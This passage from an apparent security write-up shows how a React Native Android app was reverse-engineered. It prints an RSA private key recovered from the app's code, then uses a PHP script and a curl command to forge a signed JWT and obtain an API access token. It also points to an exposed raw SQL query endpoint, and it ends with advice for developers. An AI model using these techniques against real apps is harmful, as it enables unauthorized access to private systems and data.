QlJmUlNjZXlraU5VeU9XRFlCV0xnWXM3cjF4QmJLSWxDRDdDTU04Q2dZQnZKM1lIaXVZMFcrbVpQc1BoSjFYag
Q3BheDArcVdBK0ZGdGQ2M0tnbFhPN0dueEtRanJrZGhXVHFnUDVjQWJwTER0UU5McHdUamFJajh2bmlXZWRBVg
MGFUejNNQmhyalJ0QzgzVXBscldvUXlEQzA1cExQczZGNWNhbWRVek1VelZzNU9SY1VhNTEvQWZ2alJnaW1IWA
Q0U4VlRYRFN5ejdxR0I5Sy8rTmhnUUtCZ1FDem1malhWRGNFZnlDTjE2UUovQ3gxakVDYjRjTlNPSG0zb1duUw
UkhRNU9TQmVqK05pc29FUmJzMGM4dTVtMXRQNkxjckxSM1RLMUV5MWFxMEVZc3VDOWJLdkRuN25zVmMyTE56Kw
Z2w0Rm9hK3ZvS3FzNzFVOEdaY3BySEdqZU9zNHQ4VG1EMzFyMVZmUjlGVUo5MXB6QUdGbk5URjFXcjhKeTR0SQ
M2s0NHV3S0JnRGdSazNvbmZobnNsaDdUV2tKcHNVOVlHc254QWUzMzBjNWRtdkNaV3Z1bzVzaHVZVzhXeHAyeQ
ODN5V2dNRlZNeEF4VlRXKy9WczFseTlzaUQ4L0t0NyttRis4NnhRSy80Sks1TS9vM0EwMFFlS3Q1b3lFMTJiSQ
dXNGd0V0OG1jUG1aTks1akZrYktzTTduQTNQU2RkelFBSllqNndzNU9BQTVvbXNYb3liWg

base64 decoded, this becomes:

MIIEowIBAAKCAQEA7UGR5fkDgMY1euexv81YdT7r3qaPxAVkBvmkHiARwbpDczUR
YjgYoMro+qQkrcjHqEmKzoXR8moHCTUxlr4XSf19M9sBS0EheqP8w76TrIa5xfP2
eMQKa4uzN2qTjExBiT+7n7PSlD1A3TBRTqG23StoUSyqhiWuAjhVeDCFYMb3e2R7
S4KqUU8UUFjuad90pHv4QO7X0uHS9bz7Svg//ABQl5pFWzMXak/mBCVE1L83IwAR
goPA13498tHItOlqqyNvvjcEWx/g4vroz0U2+Z1MGhw21/42skuVm6dw6dvL+1tE
GpA26O74TtE0CKf20vxUjNyUXTZvgwuT1vdSpwIDAQABAoIBAA41kBxa1ofe1xMe
TznyfWrAMvYpuZB+1ifIybh4KTgWBLYgpoLgYzE2Fc/1BrFVxgdhKCwIPbOr//Hg
OrERf2mSAe6aHjC4nN2wdpHulv+NLhEZ9Ff1Pb6FJl2aR23unzouE/mTlngEVx8o
JqZz7vS+BcheyXOxTAOcBhplpYdPJbwZGBRgqNHc7rkJC0DJkFWSRL61XOZw+2Z7
ncaw58QpFGRZm7LAVHi6TsX76Mzbp3ojlfGDmlfVhtzaeqa8VrYmTmMkfnBJc95E
GA1rblnH0Ylt0kwreQE/KdbSgFMJHxQg/lMYhX1HRCxfP2QhMGT56FApt6Y6gIc0
r93CFvECgYEA9oE5GIpx7OQfgfGPdBuknKArxH4ZCNt4znEjdOsTRt6sc8nFTep5
RkbuEE4Yq+qLUN99KhYK5sB9ENXpLF+xaKkM8BNNdy+7fSke6ZUh7oAYtPHgBYET
4auZ3lPaaawBuVDizFfOefWNcRXvW1QnGSzSYP35WV1u7cPtdEfrxqkCgYEA9mUl
cFrgycjnyc/VZQ3NMjYasuHPHbQK6UoorB5dvHP0JPpQXX2jXZ/oOgFFncGrbmW/
0RxobNAdohkaeSnpUd/YPbKufJ3+9TEGLOo1TLNLXocLv/uNkuAzomj6Jypzmak6
BRfRSceykiNUyOWDYBWLgYs7r1xBbKIlCD7CMM8CgYBvJ3YHiuY0W+mZPsPhJ1Xj
Cpax0+qWA+FFtd63KglXO7GnxKQjrkdhWTqgP5cAbpLDtQNLpwTjaIj8vniWedAV
0aTz3MBhrjRtC83UplrWoQyDC05pLPs6F5camdUzMUzVs5ORcUa51/AfvjRgimHX
CE8VTXDSyz7qGB9K/+NhgQKBgQCzmfjXVDcEfyCN16QJ/Cx1jECb4cNSOHm3oWnS
RHQ5OSBej+NisoERbs0c8u5m1tP6LcrLR3TK1Ey1aq0EYsuC9bKvDn7nsVc2LNz+
gl4Foa+voKqs71U8GZcprHGjeOs4t8TmD31r1VfR9FUJ91pzAGFnNTF1Wr8Jy4tI
3k44uwKBgDgRk3onfhnslh7TWkJpsU9YGsnxAe330c5dmvCZWvuo5shuYW8Wxp2y
83yWgMFVMxAxVTW+/Vs1ly9siD8/Kt7+mF+86xQK/4JK5M/o3A00QeKt5oyE12bI
usFwEt8mcPmZNK5jFkbKsM7nA3PSddzQAJYj6ws5OAA5omsXoybZ

PEM content starts with “MII” so this could be a private key. Let’s add the standard -----BEGIN RSA PRIVATE KEY----- and -----END RSA PRIVATE KEY----- encapsulation boundaries, write it out to a file and validate it:

> openssl rsa -in targetapp.key -check -noout
RSA key ok
APP DEVELOPER MISTAKE: Don't assume an obfuscated private key inside the native code of your React Native application won't be found

We now have all the information required to create and sign a JWT, but where’s the endpoint to submit it to?

React Native bundle

Remember our initial APK file extraction? The JavaScript for our React Native app appears in a file called index.android.bundle in the assets directory. This is equally a treasure trove of good information, if not more so because it’s basically the entire application (due to it being a React Native app). It’s compacted (minified) by default, so unminify to the rescue:

npm install -g unminify
unminify assets/index.android.bundle > assets/index.android.bundle.unminified.js

Searching for login.example.com in assets/index.android.bundle.unminified.js reveals:

__d(function(e, o, r, s) {
  Object.defineProperty(s, '__esModule', { value: true });
  s.default = {
    tokenUrl: 'https://login.example.com/oauth2/token',
    url: 'https://example.com',

We have our endpoint!

Generating a JWT and retrieving an access token

Without explaining JWT generation at length, let’s instead write a really quick and dirty PHP script to help us out:

<?php

// the endpoint expects "URL-safe" base64 encoding
function safeb64($b)
{
    return rtrim(strtr($b, '+/', '-_'), '=');
}

$header = ['alg' => 'RS256'];
$headerJson = json_encode($header);
$headerJsonB64 = safeb64(base64_encode($headerJson));

$claimsJson = json_encode([
    'iss' => 'f5eea14b2e2490a05690ed16996acb5767c09ff3ec3786edb79c8831e4a2ddc1', // Issuer (Decoder.CC)
    'sub' => '[email protected]', // Subject (Decoder.EE)
    'aud' => 'https://login.example.com', // Audience (Decoder.BC)
    'exp' => time() + 5000, // expiration time
]);
$claimsJsonB64 = safeb64(base64_encode($claimsJson));

$encodedString = $headerJsonB64 . '.' . $claimsJsonB64;

$pkeyId = openssl_pkey_get_private("file://targetapp.key");

$signature = null;
openssl_sign($encodedString, $signature, $pkeyId, OPENSSL_ALGO_SHA256);

$assertion = $encodedString . '.' . safeb64(base64_encode($signature));

$url = 'https://login.example.com/oauth2/token';
$grantType = 'urn:ietf:params:oauth:grant-type:jwt-bearer';

$payload = '-d "grant_type=' . urlencode($grantType) . '" -d "assertion=' . urlencode($assertion) . '"';

echo "assertion: $assertion\n";
echo "url: $url\n";
echo "post payload: curl $payload $url\n";

Running the above script generates something similar to:

assertion: eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJmNWVlYTE0YjJlMjQ5MGEwNTY5MGVkMTY5OTZhY2I1NzY3YzA5ZmYzZWMzNzg2ZWRiNzljODgzMWU0YTJkZGMxIiwic3ViIjoidGVzdEBleGFtcGxlLmNvbSIsImF1ZCI6Imh0dHBzOlwvXC9sb2dpbi5leGFtcGxlLmNvbSIsImV4cCI6MTU3NTAyNTU2OX0.EFKdrj6u4HHf5FkNXOpowgJsFk63FgGURKt9hAmev-j8mn_LjR4XGtgPjwiLheaJpS3u1VMgOwwAWd3FWqp_wFlO8z37CxQWgh4OXpL2Lofcek6-QOOe2eRTAiIC23hiBfPNSyEC5iwXsgyBH-pBICpSqSODmNdT_loYAfOCtLyZ4HRBAjFDx0vXwbbZOWIjP2Yf2H0ANmyDkxtdLichVWqW3SPVds3OwBSdenmcQTX_RCVTv9HA2zUJpg5UGZJ8_NBNE7DYKTgauq9FUY2v3b7yC2Ig7tf-0G_PqkcH99EbrPRWMTfrtycFe2WFuDmR9tAPzJ3fV-QT_B3mqzj6ZQ
url: https://login.example.com/oauth2/token
post payload: curl -d "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer" -d "assertion=eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJmNWVlYTE0YjJlMjQ5MGEwNTY5MGVkMTY5OTZhY2I1NzY3YzA5ZmYzZWMzNzg2ZWRiNzljODgzMWU0YTJkZGMxIiwic3ViIjoidGVzdEBleGFtcGxlLmNvbSIsImF1ZCI6Imh0dHBzOlwvXC9sb2dpbi5leGFtcGxlLmNvbSIsImV4cCI6MTU3NTAyNTU2OX0.EFKdrj6u4HHf5FkNXOpowgJsFk63FgGURKt9hAmev-j8mn_LjR4XGtgPjwiLheaJpS3u1VMgOwwAWd3FWqp_wFlO8z37CxQWgh4OXpL2Lofcek6-QOOe2eRTAiIC23hiBfPNSyEC5iwXsgyBH-pBICpSqSODmNdT_loYAfOCtLyZ4HRBAjFDx0vXwbbZOWIjP2Yf2H0ANmyDkxtdLichVWqW3SPVds3OwBSdenmcQTX_RCVTv9HA2zUJpg5UGZJ8_NBNE7DYKTgauq9FUY2v3b7yC2Ig7tf-0G_PqkcH99EbrPRWMTfrtycFe2WFuDmR9tAPzJ3fV-QT_B3mqzj6ZQ" https://login.example.com/oauth2/token

Executing the curl command:

> curl -d "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer" -d "assertion=eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJmNWVlYTE0YjJlMjQ5MGEwNTY5MGVkMTY5OTZhY2I1NzY3YzA5ZmYzZWMzNzg2ZWRiNzljODgzMWU0YTJkZGMxIiwic3ViIjoidGVzdEBleGFtcGxlLmNvbSIsImF1ZCI6Imh0dHBzOlwvXC9sb2dpbi5leGFtcGxlLmNvbSIsImV4cCI6MTU3NTAyNTU2OX0.EFKdrj6u4HHf5FkNXOpowgJsFk63FgGURKt9hAmev-j8mn_LjR4XGtgPjwiLheaJpS3u1VMgOwwAWd3FWqp_wFlO8z37CxQWgh4OXpL2Lofcek6-QOOe2eRTAiIC23hiBfPNSyEC5iwXsgyBH-pBICpSqSODmNdT_loYAfOCtLyZ4HRBAjFDx0vXwbbZOWIjP2Yf2H0ANmyDkxtdLichVWqW3SPVds3OwBSdenmcQTX_RCVTv9HA2zUJpg5UGZJ8_NBNE7DYKTgauq9FUY2v3b7yC2Ig7tf-0G_PqkcH99EbrPRWMTfrtycFe2WFuDmR9tAPzJ3fV-QT_B3mqzj6ZQ" https://login.example.com/oauth2/token

{
    "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRoaXMgaXMgYSB0ZXN0IDopIiwiaWF0IjoxNTc1MjM5MDIyfQ.-S_tCUze5UCtvO7pIliS4eRvsvuYUOT230hyUMw9wDI",
    "scope": "api"
}

Success! An authenticated user with the api scope, but what can we do with it?

React Native research

This is where in-depth analysis of the actual React Native Javascript becomes necessary. Every application will vary, but search for API-looking endpoints, URLs, paths, parameters, et al. In our example, an interesting section of code:

  var t = arguments[2];
  var l =
    arguments.length > 3 && arguments[3] !== void 0 ? arguments[3] : 10;
  var n =
    s.default.url +
    "/api/sql_query?q=SELECT+id,title,publishdate,articlenumber+FROM+intranet_posts+WHERE+publishstatus='online'" +
      "+order+by+publishdate+desc+limit+" +
      l +
      '+offset+' +
      t);
  return this.api.get(
    e,
    n,
    s.default.intranetCacheSeconds
  );

What’s that? A raw interface into an SQL database? Even if the permission structure on the database was reasonably controlled, you can see the query probably could have been modified to reveal unpublished/draft articles.

Conclusion

This was a staff portal that asked for a username/password to log in and access some parts of the portal, but used a broken API authentication implementation for other parts of the portal.

The application developer should have, at the very least, created an authenticated endpoint such as /posts so direct access to SQL API interface was prevented, and the third party API authentication could have been done server-side rather than client-side, preventing the need for storing the private key to generate JWTs inside the app.

Thanks for reading!

exem_pt